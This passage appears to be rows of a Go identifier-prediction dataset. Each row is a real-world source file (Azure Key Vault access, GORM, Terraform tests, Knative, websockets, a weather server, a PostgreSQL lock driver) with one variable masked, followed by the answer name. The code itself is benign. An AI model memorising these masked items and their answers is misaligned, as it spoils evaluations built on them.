""github.com/Azure/go-autorest/autorest"" ""github.com/Azure/go-autorest/autorest/adal"" ""github.com/Azure/go-autorest/autorest/azure"" ""k8s.io/client-go/kubernetes"" ""k8s.io/client-go/rest"" ""k8s.io/client-go/tools/clientcmd"" ""k8s.io/klog/v2"" azureprovider ""k8s.io/legacy-cloud-providers/azure"" ""golang.org/x/net/context"" ) var ( DefaultAzureCredentialFileEnv = ""AZURE_CREDENTIAL_FILE"" DefaultCredFilePath = ""/etc/kubernetes/azure.json"" ) // GetCloudProvider get Azure Cloud Provider func GetCloudProvider(kubeconfig string) (*azureprovider.Cloud, error) { kubeClient, err := getKubeClient(kubeconfig) if err != nil && !os.IsNotExist(err) && err != rest.ErrNotInCluster { return nil, fmt.Errorf(""failed to get KubeClient: %v"", err) } az := &azureprovider.Cloud{} if kubeClient != nil { klog.V(2).Infof(""reading cloud config from secret"") az.KubeClient = kubeClient az.InitializeCloudFromSecret() } if az.TenantID == """" || az.SubscriptionID == """" { klog.V(2).Infof(""could not read cloud config from secret"") credFile, ok := os.LookupEnv(DefaultAzureCredentialFileEnv) if ok { klog.V(2).Infof(""%s env var set as %v"", DefaultAzureCredentialFileEnv, credFile) } else { credFile = DefaultCredFilePath klog.V(2).Infof(""use default %s env var: %v"", DefaultAzureCredentialFileEnv, credFile) } f, err := os.Open(credFile) if err != nil { klog.Errorf(""Failed to load config from file: %s"", credFile) return nil, fmt.Errorf(""Failed to load config from file: %s, cloud not get azure cloud provider"", credFile) } defer f.Close() klog.V(2).Infof(""read cloud config from file: %s successfully"", credFile) return azureprovider.NewCloudWithoutFeatureGates(f) } klog.V(2).Infof(""read cloud config from secret successfully"") return az, nil } // getKeyVaultSecretContent get content of the keyvault secret func (d *Driver) getKeyVaultSecretContent(ctx context.Context, vaultURL string, secretName string, secretVersion string) (content string, err error) { kvClient, err := d.initializeKvClient() if err != nil { return """", fmt.Errorf(""failed to get keyvaultClient: %v"", err) } secret, err := kvClient.GetSecret(ctx, vaultURL, secretName, secretVersion) if err != nil { return """", fmt.Errorf(""failed to use vaultURL(%v), sercretName(%v), secretVersion(%v) to get secret: %v"", vaultURL, secretName, secretVersion, err) } return *secret.Value, nil } func (d *Driver) initializeKvClient() (*kv.BaseClient, error) { kvClient := kv.New() token, err := d.getKeyvaultToken() if err != nil { return nil, err } kvClient.Authorizer = token return &kvClient, nil } // getKeyvaultToken retrieves a new service principal token to access keyvault func (d *Driver) getKeyvaultToken() (authorizer autorest.Authorizer, err error) { env := d.cloud.Environment [MASK] := strings.TrimSuffix(env.KeyVaultEndpoint, ""/"") servicePrincipalToken, err := d.getServicePrincipalToken(env, [MASK] ) if err != nil { return nil, err } authorizer = autorest.NewBearerAuthorizer(servicePrincipalToken) return authorizer, nil } // getServicePrincipalToken creates a new service principal token based on the configuration func (d *Driver) getServicePrincipalToken(env azure.Environment, resource string) (*adal.ServicePrincipalToken, error) { oauthConfig, err := adal.NewOAuthConfig(env.ActiveDirectoryEndpoint, d.cloud.TenantID) if err != nil { return nil, fmt.Errorf(""creating the OAuth config: %v"", err) } return adal.NewServicePrincipalToken( *oauthConfig, d.cloud.AADClientID, d.cloud.AADClientSecret, resource) } func getKubeClient(kubeconfig string) (*kubernetes.Clientset, error) { var ( config *rest.Config err error ) if kubeconfig != """" { if config, err = clientcmd.BuildConfigFromFlags("""", kubeconfig); err != nil { return nil, err } } else { if config, err = rest.InClusterConfig(); err != nil { return nil, err } } return kubernetes.NewForConfig(config) } ",kvEndPoint 785,"package gormtool import ( ""sync"" ""github.com/LoveSnowEx/gotool/database"" ""github.com/LoveSnowEx/gotool/errors"" ""github.com/panjf2000/ants/v2"" ""gorm.io/driver/mysql"" ""gorm.io/driver/postgres"" ""gorm.io/driver/sqlite"" ""gorm.io/gen"" ""gorm.io/gorm"" ) func Open(cfg *database.Config, opts ...gorm.Option) (db *gorm.DB, err error) { switch cfg.Driver { case ""mysql"": return mysqlOpen(cfg, opts...) case ""postgres"": return postgresOpen(cfg, opts...) case ""sqlite"", ""sqlite3"": return sqliteOpen(cfg, opts...) default: return nil, errors.ErrUnknownDatabaseDriver } } func mysqlOpen(cfg *database.Config, opts ...gorm.Option) (db *gorm.DB, err error) { return gorm.Open(mysql.Open(cfg.Dsn()), opts...) } func postgresOpen(cfg *database.Config, opts ...gorm.Option) (db *gorm.DB, err error) { return gorm.Open(postgres.Open(cfg.Dsn()), opts...) } func sqliteOpen(cfg *database.Config, opts ...gorm.Option) (db *gorm.DB, err error) { return gorm.Open(sqlite.Open(cfg.Dsn()), opts...) } func GenDao(g *gen.Generator, [MASK] int, tables ...string) (err error) { var wg sync.WaitGroup p, err := ants.NewPoolWithFunc( [MASK] , func(table interface{}) { t := table.(string) g.ApplyBasic(g.GenerateModel(t)) wg.Done() }) if err != nil { return } defer p.Release() for _, table := range tables { wg.Add(1) if err = p.Invoke(table); err != nil { return } } wg.Wait() g.Execute() return } ",numWorker 786,"// Tests in this file are run in the PR pipeline package test import ( ""os"" ""testing"" ""github.com/stretchr/testify/assert"" ""github.com/terraform-ibm-modules/ibmcloud-terratest-wrapper/cloudinfo"" ""github.com/terraform-ibm-modules/ibmcloud-terratest-wrapper/testhelper"" ) const resourceGroup = ""geretain-test-observability-agents"" const terraformDirLogsAgentIKS = ""examples/obs-agent-iks"" const terraformDirLogsAgentROKS = ""examples/obs-agent-ocp"" var sharedInfoSvc *cloudinfo.CloudInfoService // TestMain will be run before any parallel tests, used to set up a shared InfoService object to track region usage // for multiple tests func TestMain(m *testing.M) { sharedInfoSvc, _ = cloudinfo.NewCloudInfoServiceFromEnv(""TF_VAR_ibmcloud_api_key"", cloudinfo.CloudInfoServiceOptions{}) os.Exit(m.Run()) } func setupOptions(t *testing.T, [MASK] string, terraformDir string) *testhelper.TestOptions { options := testhelper.TestOptionsDefaultWithVars(&testhelper.TestOptions{ Testing: t, TerraformDir: terraformDir, Prefix: [MASK] , ResourceGroup: resourceGroup, IgnoreUpdates: testhelper.Exemptions{ // Ignore for consistency check List: []string{ ""module.observability_agents.module.logs_agent[0].helm_release.logs_agent"", ""module.observability_agents.helm_release.cloud_monitoring_agent[0]"", }, }, CloudInfoService: sharedInfoSvc, }) // add ocp entitlement to keep costs down for tests if terraformDir == terraformDirLogsAgentROKS { options.TerraformVars[""ocp_entitlement""] = ""cloud_pak"" } return options } func TestRunAgentVpcKubernetes(t *testing.T) { t.Parallel() options := setupOptions(t, ""obs-agent-iks"", terraformDirLogsAgentIKS) output, err := options.RunTestConsistency() assert.Nil(t, err, ""This should not have errored"") assert.NotNil(t, output, ""Expected some output"") } func TestRunAgentVpcOcp(t *testing.T) { t.Parallel() options := setupOptions(t, ""obs-agent-roks"", terraformDirLogsAgentROKS) output, err := options.RunTestConsistency() assert.Nil(t, err, ""This should not have errored"") assert.NotNil(t, output, ""Expected some output"") } func TestRunAgentVpcOcpUpgrade(t *testing.T) { t.Parallel() options := setupOptions(t, ""log-agent-upg"", terraformDirLogsAgentROKS) output, err := options.RunTestUpgrade() if !options.UpgradeTestSkipped { assert.Nil(t, err, ""This should not have errored"") assert.NotNil(t, output, ""Expected some output"") } } ",prefix 787,"/* Copyright 2017 The Kubernetes Authors. Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package main import ( ""context"" ""flag"" ""net/http"" ""time"" ""github.com/golang/glog"" kubeinformers ""k8s.io/client-go/informers"" ""k8s.io/client-go/kubernetes"" ""k8s.io/client-go/tools/clientcmd"" // Uncomment the following line to load the gcp plugin (only required to authenticate against GKE clusters). _ ""k8s.io/client-go/plugin/pkg/client/auth/gcp"" servingclientset ""github.com/knative/serving/pkg/client/clientset/versioned"" servinginformers ""github.com/knative/serving/pkg/client/informers/externalversions"" clientset ""github.com/knative/eventing/pkg/client/clientset/versioned"" informers ""github.com/knative/eventing/pkg/client/informers/externalversions"" ""github.com/knative/eventing/pkg/controller"" ""github.com/knative/eventing/pkg/controller/bind"" ""github.com/knative/eventing/pkg/controller/bus"" ""github.com/knative/eventing/pkg/controller/channel"" ""github.com/knative/eventing/pkg/signals"" ""github.com/prometheus/client_golang/prometheus/promhttp"" ) const ( threadsPerController = 2 metricsScrapeAddr = "":9090"" metricsScrapePath = ""/metrics"" ) var ( masterURL string kubeconfig string ) func main() { flag.Parse() // set up signals so we handle the first shutdown signal gracefully stopCh := signals.SetupSignalHandler() cfg, err := clientcmd.BuildConfigFromFlags(masterURL, kubeconfig) if err != nil { glog.Fatalf(""Error building kubeconfig: %s"", err.Error()) } kubeClient, err := kubernetes.NewForConfig(cfg) if err != nil { glog.Fatalf(""Error building kubernetes clientset: %s"", err.Error()) } client, err := clientset.NewForConfig(cfg) if err != nil { glog.Fatalf(""Error building clientset: %s"", err.Error()) } servingClient, err := servingclientset.NewForConfig(cfg) if err != nil { glog.Fatalf(""Error building serving clientset: %s"", err.Error()) } kubeInformerFactory := kubeinformers.NewSharedInformerFactory(kubeClient, time.Second*30) [MASK] := informers.NewSharedInformerFactory(client, time.Second*30) servingInformerFactory := servinginformers.NewSharedInformerFactory(servingClient, time.Second*30) // Add new controllers here. ctors := []controller.Constructor{ bind.NewController, bus.NewController, channel.NewController, } // Build all of our controllers, with the clients constructed above. controllers := make([]controller.Interface, 0, len(ctors)) for _, ctor := range ctors { controllers = append(controllers, ctor(kubeClient, client, kubeInformerFactory, [MASK] , servingInformerFactory)) } go kubeInformerFactory.Start(stopCh) go [MASK] .Start(stopCh) go servingInformerFactory.Start(stopCh) // Start all of the controllers. for _, ctrlr := range controllers { go func(ctrlr controller.Interface) { // We don't expect this to return until stop is called, // but if it does, propagate it back. if err := ctrlr.Run(threadsPerController, stopCh); err != nil { glog.Fatalf(""Error running controller: %s"", err.Error()) } }(ctrlr) } // Start the endpoint that Prometheus scraper talks to srv := &http.Server{Addr: metricsScrapeAddr} http.Handle(metricsScrapePath, promhttp.Handler()) go func() { glog.Info(""Starting metrics listener at %s"", metricsScrapeAddr) if err := srv.ListenAndServe(); err != nil { glog.Infof(""Httpserver: ListenAndServe() finished with error: %s"", err) } }() <-stopCh // Close the http server gracefully ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) defer cancel() srv.Shutdown(ctx) glog.Flush() } func init() { flag.StringVar(&kubeconfig, ""kubeconfig"", """", ""Path to a kubeconfig. Only required if out-of-cluster."") flag.StringVar(&masterURL, ""master"", """", ""The address of the Kubernetes API server. Overrides any value in kubeconfig. Only required if out-of-cluster."") } ",informerFactory 788,"/* * Copyright 2023 the go-netty project * * Licensed under the Apache License, Version 2.0 (the ""License""); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * https://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an ""AS IS"" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package nettyws import ( ""bytes"" ""context"" ""net/http"" ""sync/atomic"" ""time"" ""github.com/go-netty/go-netty"" ""github.com/go-netty/go-netty/utils"" ""github.com/gobwas/ws/wsutil"" ) // Conn is a websocket connection. type Conn interface { // Context returns the context of the connection. Context() context.Context // LocalAddr returns the local network address. LocalAddr() string // RemoteAddr returns the remote network address. RemoteAddr() string // Header returns the HTTP header on handshake request. Header() http.Header // Request returns the HTTP handshake request. Request() *http.Request // SetDeadline sets the read and write deadlines associated // with the connection. It is equivalent to calling both // SetReadDeadline and SetWriteDeadline. SetDeadline(t time.Time) error // SetReadDeadline sets the deadline for future Read calls // and any currently-blocked Read call. // A zero value for t means Read will not time out. SetReadDeadline(t time.Time) error // SetWriteDeadline sets the deadline for future Write calls // and any currently-blocked Write call. // Even if write times out, it may return n > 0, indicating that // some of the data was successfully written. // A zero value for t means Write will not time out. SetWriteDeadline(t time.Time) error // Write writes a message to the connection. Write(message []byte) error // WriteClose write websocket close frame with code and close reason. WriteClose(code int, reason string) error // Close closes the connection. Close() error // Userdata returns the user-data. Userdata() interface{} // SetUserdata sets the user-data. SetUserdata(userdata interface{}) } type wsc interface { WriteClose(code int, reason string) error } type wsh interface { Header() http.Header Request() *http.Request } type wsConn struct { ws *Websocket channel netty.Channel client bool userdata atomic.Value } // newConn create a websocket connection. func newConn(ws *Websocket, channel netty.Channel, client bool) Conn { return &wsConn{ws: ws, channel: channel, client: client} } // Context returns the context of the connection. func (c *wsConn) Context() context.Context { return c.channel.Context() } // LocalAddr returns the local network address. func (c *wsConn) LocalAddr() string { return c.channel.LocalAddr() } // RemoteAddr returns the remote network address. func (c *wsConn) RemoteAddr() string { return c.channel.RemoteAddr() } // Header returns the HTTP header on handshake request. func (c *wsConn) Header() http.Header { return c.channel.Transport().(wsh).Header() } // Request returns the HTTP handshake request. func (c *wsConn) Request() *http.Request { return c.channel.Transport().(wsh).Request() } // SetDeadline sets the read and write deadlines associated // with the connection. It is equivalent to calling both // SetReadDeadline and SetWriteDeadline. func (c *wsConn) SetDeadline(t time.Time) error { return c.channel.Transport().SetDeadline(t) } // SetReadDeadline sets the deadline for future Read calls // and any currently-blocked Read call. // A zero value for t means Read will not time out. func (c *wsConn) SetReadDeadline(t time.Time) error { return c.channel.Transport().SetReadDeadline(t) } // SetWriteDeadline sets the deadline for future Write calls // and any currently-blocked Write call. // Even if write times out, it may return n > 0, indicating that // some of the data was successfully written. // A zero value for t means Write will not time out. func (c *wsConn) SetWriteDeadline(t time.Time) error { return c.channel.Transport().SetWriteDeadline(t) } // Write writes a message to the connection. func (c *wsConn) Write(message []byte) error { _, err := c.channel.Write1(message) return err } // WriteClose write websocket close frame with code and close reason. func (c *wsConn) WriteClose(code int, reason string) error { return c.channel.Transport().(wsc).WriteClose(code, reason) } // Close closes the connection. func (c *wsConn) Close() error { c.channel.Close(nil) return nil } // Userdata returns the user-data. func (c *wsConn) Userdata() interface{} { return c.userdata.Load() } // SetUserdata sets the user-data. func (c *wsConn) SetUserdata(userdata interface{}) { c.userdata.Store(userdata) } func (c *wsConn) HandleActive(ctx netty.ActiveContext) { if onOpen := c.ws.OnOpen; nil != onOpen { onOpen(c) return } ctx.HandleActive() } func (c *wsConn) HandleRead(ctx netty.InboundContext, message netty.Message) { var reader = utils.MustToReader(message) var buffer = bytes.NewBuffer(make([]byte, 0, 1024)) for { // reset buffer buffer.Reset() // read message to buffer if _, err := buffer.ReadFrom(reader); nil != err { // interrupted network read loop panic(err) } // invoke OnData callback if onData := c.ws.OnData; onData != nil { onData(c, buffer.Bytes()) } // TODO: recreate large buffer for reduce memory usage // } } func (c *wsConn) HandleException(ctx netty.ExceptionContext, ex netty.Exception) { ctx.Close(ex) } func (c *wsConn) HandleInactive(ctx netty.InactiveContext, ex netty.Exception) { // covert error if [MASK] , ok := ex.(wsutil.ClosedError); ok { ex = ClosedError{Code: int( [MASK] .Code), Reason: [MASK] .Reason} } if onClose := c.ws.OnClose; nil != onClose { onClose(c, ex) return } ctx.HandleInactive(ex) } ",closeErr 789,"package main import ( ""fmt"" ""io"" ""log/slog"" ""net/http"" ""github.com/blang/semver/v4"" ""github.com/pkg/errors"" ) type SwaggerData struct { Data []byte KubernetesVersion string } // DownloadSwagger downloads the swagger file for the Kubernetes version // specified by the user. func DownloadSwagger(kubeVersion string) (*SwaggerData, error) { version, err := semver.ParseTolerant(kubeVersion) if err != nil { return nil, errors.Wrapf(err, ""cannot parse kubernetes version %s"", kubeVersion) } downloadURL := fmt.Sprintf( ""https://github.com/kubernetes/kubernetes/raw/v%d.%d.%d/api/openapi-spec/swagger.json"", version.Major, version.Minor, version.Patch) slog.Info(""Downloading swagger file for Kubernetes"", ""version"", version.String(), ""downloadURL"", downloadURL) resp, err := http.Get(downloadURL) //nolint:gosec,noctx // let's keep the code simple, we just do 1 request.. if err != nil { return nil, errors.Wrapf(err, ""Cannot fetch swagger file from %s"", downloadURL) } defer func() { if [MASK] := resp.Body.Close(); [MASK] != nil { slog.Info(""failed to close response body"", ""error"", [MASK] ) } }() body, err := io.ReadAll(resp.Body) if err != nil { return nil, errors.Wrapf(err, ""Cannot read contents of response from %s"", downloadURL) } if resp.StatusCode < http.StatusOK || resp.StatusCode >= http.StatusMultipleChoices { return nil, fmt.Errorf(""response failed with status code: %d and body: %s"", resp.StatusCode, string(body)) } return &SwaggerData{ Data: body, KubernetesVersion: version.String(), }, nil } ",cerr 790,"package main import ( ""encoding/json"" ""fmt"" ""html/template"" ""image"" ""image/draw"" ""image/png"" ""log"" ""net/http"" ""os"" ""path"" ""websoft.club/weather/model"" ""websoft.club/weather/util"" ) // 城市码 // 来源:https://apip.weatherdt.com/float/static/js/city.js // 欢迎页面 func welcome(resp http.ResponseWriter, reqs *http.Request) { basePath := path.Base(reqs.URL.Path) if basePath == ""."" || basePath == ""/"" { citycode := reqs.URL.Query().Get(""code"") // 没有城市码则读取IP地址对应的地址 if citycode == """" { citycode = ""101200805"" // 默认为监利 ipaddr := util.ClientIP(reqs) datas, err := util.GetCityByIP(ipaddr) if err == nil { // 由IP地址对应的城市名,找到对应的天气城市码 if country, ok := datas[""country_name""]; ok && country == ""中国"" { cityname := datas[""city_name""] if citys := util.SearchCity(cityname); citys != nil && len(citys) > 0 { citycode = citys[0].Code } } } } // 由城市码查询对应的城市天气 result, err := util.GetCNWeather(citycode) if err == nil && result != nil { templates := template.Must(template.ParseFiles(""templates/index.html"")) templates.Execute(resp, result) return } templates := template.Must(template.ParseFiles(""templates/error.html"")) templates.Execute(resp, err) return } resp.WriteHeader(404) fmt.Fprintf(resp, ""

404 Not Found!

"") } // 天气图标 func weatherIcon(resp http.ResponseWriter, reqs *http.Request) { resp.Header().Set(""Content-Type"", ""image/png"") size := reqs.URL.Query().Get(""size"") // 图标大小及模式 wcode := reqs.URL.Query().Get(""wcode"") // 天气代码 if wcode == """" { wcode = ""n99"" } [MASK] := util.GetWeatherIcon(size, wcode) bgfile, _ := os.Open( [MASK] .FatherIconsLocation) defer bgfile.Close() bgimg, _ := png.Decode(bgfile) weatherIcon := image.NewRGBA(image.Rect(0, 0, [MASK] .Width, [MASK] .Height)) draw.Draw(weatherIcon, bgimg.Bounds().Add( [MASK] .Position), bgimg, bgimg.Bounds().Min, draw.Src) png.Encode(resp, weatherIcon) } // 城市天气结果JSON对象 type weatherResult struct { Code int `json:""code""` Message string `json:""message""` Weather *model.Weather `json:""weather,omitempty""` } // 根据城市码获取天气信息 func weather(resp http.ResponseWriter, reqs *http.Request) { resp.Header().Set(""Content-Type"", ""application/json;charset=UTF-8"") datas := weatherResult{ Code: 500, Message: ""获取失败"", Weather: nil, } citycode := path.Base(reqs.URL.Path) if citycode != ""/"" && citycode != ""."" && citycode != ""weather"" { result, err := util.GetCNWeather(citycode) if err != nil { datas.Message = err.Error() } else { datas.Code = 200 datas.Message = ""获取成功"" datas.Weather = result } } else { datas.Message = ""请指定有效的城市码!"" } jsonStr, _ := json.Marshal(datas) fmt.Fprintln(resp, string(jsonStr)) } // 搜索城市结果JSON对象 type cityResult struct { Code int `json:""code""` Message string `json:""message""` Citys []*util.SearchCityName `json:""citys,omitempty""` } // 查找对应的城市编码 func searchCity(resp http.ResponseWriter, reqs *http.Request) { resp.Header().Set(""Content-Type"", ""application/json;charset=UTF-8"") datas := cityResult{ Code: 500, Message: ""未找到结果"", Citys: nil, } name := reqs.URL.Query().Get(""name"") if name != """" { if citys := util.SearchCity(name); citys != nil && len(citys) > 0 { datas.Code = 200 datas.Message = ""找到结果"" datas.Citys = citys } } jsonStr, _ := json.Marshal(datas) fmt.Fprintln(resp, string(jsonStr)) } // 获取所有的城市编码 type proviceResult struct { Code int `json:""code""` Message string `json:""message""` Provices []*model.Provice `json:""provices,omitempty""` } func allProvices(resp http.ResponseWriter, reqs *http.Request) { resp.Header().Set(""Content-Type"", ""application/json;charset=UTF-8"") datas := proviceResult{ Code: 500, Message: ""未找到结果"", Provices: nil, } if citys := util.LoadAllCitys(); citys != nil && len(citys) > 0 { datas.Code = 200 datas.Message = ""找到结果"" datas.Provices = citys } jsonStr, _ := json.Marshal(datas) fmt.Fprintln(resp, string(jsonStr)) } func main() { mux := http.NewServeMux() mux.HandleFunc(""/"", welcome) // 静态文件处理 files := http.FileServer(http.Dir(""public"")) mux.Handle(""/resources/"", http.StripPrefix(""/resources/"", files)) mux.HandleFunc(""/icon.png"", weatherIcon) mux.HandleFunc(""/weather/"", weather) mux.HandleFunc(""/city/search"", searchCity) mux.HandleFunc(""/provices"", allProvices) log.Fatal(http.ListenAndServe(""127.0.0.1:9001"", mux)) } ",wiconData 791,"package client import ( ofctx ""github.com/OpenFunction/functions-framework-go/context"" ""github.com/dapr/components-contrib/contenttype"" ""github.com/dapr/dapr/pkg/channel"" dgrpc ""github.com/dapr/dapr/pkg/grpc"" invoke ""github.com/dapr/dapr/pkg/messaging/v1"" ""github.com/dapr/dapr/pkg/modes"" pb ""github.com/dapr/dapr/pkg/proto/runtime/v1"" ""github.com/dapr/dapr/pkg/runtime"" ""github.com/dapr/go-sdk/service/common"" ""github.com/pkg/errors"" nethttp ""net/http"" ) type Config struct { Protocol runtime.Protocol Host string Port int Mode modes.DaprMode sslEnabled bool } type FuncClient struct { config *Config ctx *ofctx.FunctionContext grpc *dgrpc.Manager funcChannel channel.AppChannel } func NewFuncClient(config *Config, ctx *ofctx.FunctionContext) *FuncClient { return &FuncClient{ config: config, ctx: ctx, grpc: dgrpc.NewGRPCManager(modes.KubernetesMode), } } func (f *FuncClient) CreateFuncChannel() error { switch f.config.Protocol { case runtime.HTTPProtocol: funcChannel, err := CreateHTTPChannel(f.config.Host, f.config.Port, f.config.sslEnabled) if err != nil { return err } f.funcChannel = funcChannel case runtime.GRPCProtocol: funcChannel, err := CreateGRPCChannel(f.grpc, f.config.Host, f.config.Port, f.config.sslEnabled) if err != nil { return err } f.funcChannel = funcChannel default: return errors.Errorf(""cannot create app channel for protocol %s"", string(f.config.Protocol)) } return nil } func (f *FuncClient) OnBindingEvent(ctx ofctx.Context, event *common.BindingEvent) ([]byte, error) { var function func(ctx ofctx.Context, event *common.BindingEvent) ([]byte, error) switch f.config.Protocol { case runtime.HTTPProtocol: function = f.onBindingEventHTTP case runtime.GRPCProtocol: function = f.onBindingEventGRPC } return function(ctx, event) } func (f *FuncClient) OnTopicEvent(ctx ofctx.Context, event *common.TopicEvent) error { var function func(ctx ofctx.Context, event *common.TopicEvent) error switch f.config.Protocol { case runtime.HTTPProtocol: function = f.onTopicEventHTTP case runtime.GRPCProtocol: function = f.onTopicEventGRPC } return function(ctx, event) } func (f *FuncClient) onBindingEventHTTP(ctx ofctx.Context, event *common.BindingEvent) ([]byte, error) { path, _ := GetComponentName(f.ctx) req := invoke.NewInvokeMethodRequest(path) req.WithHTTPExtension(nethttp.MethodPost, """") req.WithRawData(event.Data, invoke.JSONContentType) [MASK] := map[string][]string{} for k, v := range event.Metadata { [MASK] [k] = []string{v} } req.WithMetadata( [MASK] ) resp, err := f.funcChannel.InvokeMethod(ctx.GetNativeContext(), req) if err != nil { return nil, err } if resp != nil && resp.Status().Code != nethttp.StatusOK { return nil, errors.Errorf(""Error sending binding event to function, status %d"", resp.Status().Code) } _, data := resp.RawData() return data, nil } func (f *FuncClient) onBindingEventGRPC(ctx ofctx.Context, bindingEvent *common.BindingEvent) ([]byte, error) { client := pb.NewAppCallbackClient(f.grpc.AppClient) bindingName, _ := GetComponentName(f.ctx) req := &pb.BindingEventRequest{ Name: bindingName, Data: bindingEvent.Data, Metadata: bindingEvent.Metadata, } resp, err := client.OnBindingEvent(ctx.GetNativeContext(), req) if err != nil { return resp.Data, errors.Errorf(""Error sending binding event to function: %s"", err) } return resp.Data, nil } func (f *FuncClient) onTopicEventHTTP(ctx ofctx.Context, event *common.TopicEvent) error { pubsubName, _ := GetComponentName(f.ctx) path, _ := GetTopicEventPath(f.ctx) req := invoke.NewInvokeMethodRequest(path) req.WithHTTPExtension(nethttp.MethodPost, """") req.WithRawData(event.RawData, contenttype.CloudEventContentType) metadata := make(map[string]string, 1) metadata[""pubsubName""] = pubsubName req.WithCustomHTTPMetadata(metadata) resp, err := f.funcChannel.InvokeMethod(ctx.GetNativeContext(), req) if err != nil { return err } if resp != nil && resp.Status().Code != nethttp.StatusOK { return errors.Errorf(""Error sending topic event to function, status %d"", resp.Status().Code) } return nil } func (f *FuncClient) onTopicEventGRPC(ctx ofctx.Context, event *common.TopicEvent) error { client := pb.NewAppCallbackClient(f.grpc.AppClient) path, _ := GetTopicEventPath(f.ctx) req := &pb.TopicEventRequest{ Id: event.ID, Source: event.Source, Type: event.Type, SpecVersion: event.SpecVersion, DataContentType: event.DataContentType, Data: event.RawData, Topic: event.Topic, PubsubName: event.PubsubName, Path: path, } _, err := client.OnTopicEvent(ctx.GetNativeContext(), req) if err != nil { return errors.Errorf(""Error sending topic event to function: %s"", err) } return nil } ",reqMetadata 792,"// Copyright Amazon.com Inc. or its affiliates. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the ""License""). You may // not use this file except in compliance with the License. A copy of the // License is located at // // http://aws.amazon.com/apache2.0/ // // or in the ""license"" file accompanying this file. This file is distributed // on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either // express or implied. See the License for the specific language governing // permissions and limitations under the License. package scalable_target import ( ""context"" ""time"" svcapitypes ""github.com/aws-controllers-k8s/applicationautoscaling-controller/apis/v1alpha1"" svcsdk ""github.com/aws/aws-sdk-go-v2/service/applicationautoscaling"" metav1 ""k8s.io/apimachinery/pkg/apis/meta/v1"" ) func (rm *resourceManager) customDescribeScalableTarget( ctx context.Context, latest *resource, input *svcsdk.DescribeScalableTargetsInput, ) { latestSpec := latest.ko.Spec var resourceIDList []*string if latestSpec.ResourceID != nil { resourceIDList = append(resourceIDList, latestSpec.ResourceID) for _, resourceID := range resourceIDList { input.ResourceIds = append(input.ResourceIds, *resourceID) } } } // customSetLastModifiedTimeToCreationTime sets the LastModifiedTime field to the creationTime func (rm *resourceManager) customSetLastModifiedTimeToCreationTime(ko *svcapitypes.ScalableTarget) { if ko.Status.CreationTime != nil && ko.Status.LastModifiedTime == nil { ko.Status.LastModifiedTime = ko.Status.CreationTime } } // customSetLastModifiedTimeToCurrentTime sets the LastModifiedTime field to the current time post an update func (rm *resourceManager) customSetLastModifiedTimeToCurrentTime(ko *svcapitypes.ScalableTarget) { [MASK] := metav1.Time{Time: time.Now().UTC()} ko.Status.LastModifiedTime = & [MASK] } // customCheckRequiredFieldsMissing returns true if there are any fields // for the ReadOne Input shape that are required but not present in the // resource's Spec or Status func (rm *resourceManager) customCheckRequiredFieldsMissing( r *resource, ) bool { return r.ko.Spec.ResourceID == nil } ",currentTime 793,"package pgsql import ( ""database/sql"" ""math/rand"" ""time"" ""github.com/go-locks/distlock/driver"" ""github.com/lib/pq"" ""github.com/sirupsen/logrus"" ) var ( MaxReaders = 1 << 30 MinWatchRetryInterval = time.Millisecond MaxWatchRetryInterval = time.Second * 16 ) type pgsqlDriver struct { dsn []string dbs []*sql.DB quorum int } var _ driver.IWatcher = &pgsqlDriver{} var _ driver.IDriver = &pgsqlDriver{} var _ driver.IRWDriver = &pgsqlDriver{} func New(dsn ...string) *pgsqlDriver { dbs := make([]*sql.DB, len(dsn)) for i, d := range dsn { if db, err := sql.Open(""postgres"", d); err != nil { // normally, it won't happen logrus.WithError(err).Panicf(""open pgsql for distlock failed"") } else { dbs[i] = db } } return &pgsqlDriver{ dsn: dsn, dbs: dbs, quorum: len(dbs), } } func (pd *pgsqlDriver) channelName(name string) string { return ""unlock-notify-channel-{"" + name + ""}"" } func (pd *pgsqlDriver) doLock(fn func(db *sql.DB) int) (bool, time.Duration) { counter := pd.quorum for _, db := range pd.dbs { for { if wait := fn(db); wait == 0 { time.Sleep(time.Duration(rand.Int31n(1000 * 1000))) continue } else if wait == -3 { counter -= 1 if counter == 0 { return true, 0 } } else if wait > 0 { return false, time.Duration(wait) * time.Second } break } } return false, -1 } func (pd *pgsqlDriver) doTouch(fn func(db *sql.DB) bool) bool { counter := pd.quorum for _, db := range pd.dbs { if fn(db) { counter -= 1 if counter == 0 { return true } } } return false } func (pd *pgsqlDriver) Lock(name, value string, expiry time.Duration) (ok bool, wait time.Duration) { msExpiry := int(expiry / time.Millisecond) return pd.doLock(func(db *sql.DB) (wait int) { err := db.QueryRow(""SELECT distlock.lock($1, $2, $3);"", name, value, msExpiry).Scan(&wait) if err != nil { wait = -1 // less than zero, use the default wait duration logrus.WithError(err).Errorf(""pgsql acquire lock '%s' failed"", name) } return }) } func (pd *pgsqlDriver) Unlock(name, value string) { channel := pd.channelName(name) for _, db := range pd.dbs { var res bool err := db.QueryRow(""SELECT distlock.unlock($1, $2, $3);"", name, value, channel).Scan(&res) if err != nil { logrus.WithError(err).Errorf(""pgsql release lock '%s' failed"", name) } } } func (pd *pgsqlDriver) Touch(name, value string, expiry time.Duration) (ok bool) { msExpiry := int(expiry / time.Millisecond) return pd.doTouch(func(db *sql.DB) (ok bool) { err := db.QueryRow(""SELECT distlock.touch($1, $2, $3);"", name, value, msExpiry).Scan(&ok) if err != nil { logrus.WithError(err).Errorf(""pgsql touch lock '%s' failed"", name) } return }) } func (pd *pgsqlDriver) RLock(name, value string, expiry time.Duration) (ok bool, wait time.Duration) { msExpiry := int(expiry / time.Millisecond) return pd.doLock(func(db *sql.DB) (wait int) { err := db.QueryRow(""SELECT distlock.rlock($1, $2, $3);"", name, value, msExpiry).Scan(&wait) if err != nil { wait = -1 